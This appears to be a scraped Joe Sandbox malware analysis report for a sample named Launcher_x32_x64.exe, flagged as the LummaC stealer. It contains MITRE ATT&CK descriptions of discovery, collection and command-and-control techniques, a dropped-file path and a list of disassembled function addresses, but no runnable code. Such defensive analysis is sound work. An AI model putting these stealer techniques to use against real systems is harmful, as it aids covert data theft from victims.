Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Launcher_x32_x64.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\Temp\4ud5if5k.0ze.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
Launcher_x32_x64.exe

Function 01289570 Relevance: 70.7, APIs: 27, Strings: 13, Instructions: 684
memorylibraryloaderCOMMON

Function 010C5F00 Relevance: 37.4, APIs: 18, Strings: 3, Instructions: 636
memoryCOMMON

Function 010C3520 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 115
pipeCOMMON

Function 010860F0 Relevance: 15.2, APIs: 10, Instructions: 218
memoryCOMMON

Function 01149EF0 Relevance: 44.1, APIs: 15, Strings: 10, Instructions: 372
memoryCOMMON

Function 012895F0 Relevance: 38.8, APIs: 12, Strings: 10, Instructions: 289
libraryloaderCOMMON

Function 00EF4DE0 Relevance: 26.6, APIs: 5, Strings: 10, Instructions: 300
memorythreadCOMMON

Function 01148660 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 290
memorythreadstringCOMMON

Function 01148A80 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 172
pipeCOMMON

Function 00EF5920 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 161
threadCOMMON

Function 0128BEB0 Relevance: 19.8, APIs: 13, Instructions: 334
fileCOMMON

Function 0109F890 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 240
COMMON

Function 012891F0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 201
COMMON

Function 01319FE0 Relevance: 13.6, APIs: 9, Instructions: 148
fileCOMMON

Function 00F4ADC0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 145
threadCOMMON